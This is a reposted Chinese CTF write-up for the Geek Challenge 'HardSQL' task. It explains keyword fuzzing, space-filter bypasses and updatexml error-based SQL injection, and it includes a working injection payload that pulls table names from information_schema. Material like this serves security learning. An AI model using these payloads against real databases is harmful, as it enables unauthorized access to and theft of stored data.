极客大挑战 Hardsql

Posted k_du1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了极客大挑战 Hardsql相关的知识,希望对你有一定的参考价值。

0x00 前言

a.sql注入fuzzing
碰到sql注入题时,为尽快确认过滤列,可做一个fuzzing_test
注意一次发太多包会429,适当调节引擎

可以看到736都是被过滤的
比较关键的空格和union都被过滤了

a.常见的绕过空格

1.注释 /**/ (显然此处是行不通的)
/**/来标记注释的内容。比如SQL查询:
select user() from dual

我们用注释替换空格,就可以变成:
select/**/user()/**/from/**/dual

2.在mysql中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
括号绕过空格的方法,在time based盲注中,是屡试不爽的。

eg:
select user() from dual where 1=1 and 2=2

观察到user()可以算值,那么user()两边要加括号,变成:
select(user())from dual where 1=1 and 2=2;

继续,1=1和2=2可以算值,也加括号,去空格,变成:
select(user())from dual where(1=1)and(2=2)

引用

https://blog.csdn.net/acsuccess/article/details/69360931

b.updatexml报错注入

这边注意到union被过滤了
复习一下

UpdateXML(xml_target, xpath_expr, new_xml)

xml_target: 需要操作的xml片段

xpath_expr: 需要更新的xml路径(Xpath格式)

new_xml: 更新后的内容

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

如果xpath_expr未找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。
看一下dl实操

mysql> SELECT
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
    ->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
    -> \\G
***********结果**************
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>

当Xpath路径语法错误时,就会报错
所以其实第一个参数和第三个参数并不重要,关键是利用第二个参数语法错误进行查询
报错内容含有错误的路径内容:

本地实操

mysql> show columns from users;
+--------------+-------------+------+-----+-------------------+-----------------------------+
| Field        | Type        | Null | Key | Default           | Extra                       |
+--------------+-------------+------+-----+-------------------+-----------------------------+
| user_id      | int(6)      | NO   | PRI | 0                 |                             |
| first_name   | varchar(15) | YES  |     | NULL              |                             |
| last_name    | varchar(15) | YES  |     | NULL              |                             |
| user         | varchar(15) | YES  |     | NULL              |                             |
| password     | varchar(32) | YES  |     | NULL              |                             |
| avatar       | varchar(70) | YES  |     | NULL              |                             |
| last_login   | timestamp   | NO   |     | CURRENT_TIMESTAMP | on update CURRENT_TIMESTAMP |
| failed_login | int(3)      | YES  |     | NULL              |                             |
+--------------+-------------+------+-----+-------------------+-----------------------------+
8 rows in set (0.02 sec)

mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~dvwa~'

注意内部进行括号的包裹

引用,dl讲的非常细,包含extractvalue的讲解

https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html

0x01 开整

raw

注意value部分一定要url编码之后再传
如果是在页面输入框或url地址栏中提交会自动url编码
但通过hackbar就要你手动编码了

至于为什么要url编码

其实我之前都没有特别关注这个,然后特意找了一下
但这一定是很多一开始学习的人忽略的一点!

https://cloud.tencent.com/developer/article/1458887


database:geek

接下来就是正常思路了
注意=被过滤可以用like模糊查询
password='or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e),1))#

table: H4rDsq1


column: id,username,password


到这边尬住了,看了一下dl_wp知道在不过滤的情况下可以用mid和substring
然后这边right从右侧截取
后来回顾了一下sqli-labs的笔记发现这边我还是记了点的,但没怎么在意就给忘了

done 补全
参考dl_wp

https://blog.csdn.net/qq_51652864/article/details/115740086

0x02 rethink

前几天一直打奇奇怪怪的比赛&&摸鱼了几天导致刷题耽搁了,检讨一下⑧
关于注入中各种各样的骚姿势都不是凭空想出来的,而是建立在扎实的基础之上,所以别想着一口气吃成一个胖子
之前做注入没有fuzz的习惯,像过滤空格这种是我没想到的,以后注意一下

以上是关于极客大挑战 Hardsql的主要内容,如果未能解决你的问题,请参考以下文章

[极客大挑战 2019]HardSQL

BUUCTF-[极客大挑战 2019]HardSQL(报错注入)

极客大挑战 Hardsql

BUUCTF-web

极客大挑战 2019 Havefun 1BUUCFT代码审计

CTF [极客大挑战 2019]Secret File 复现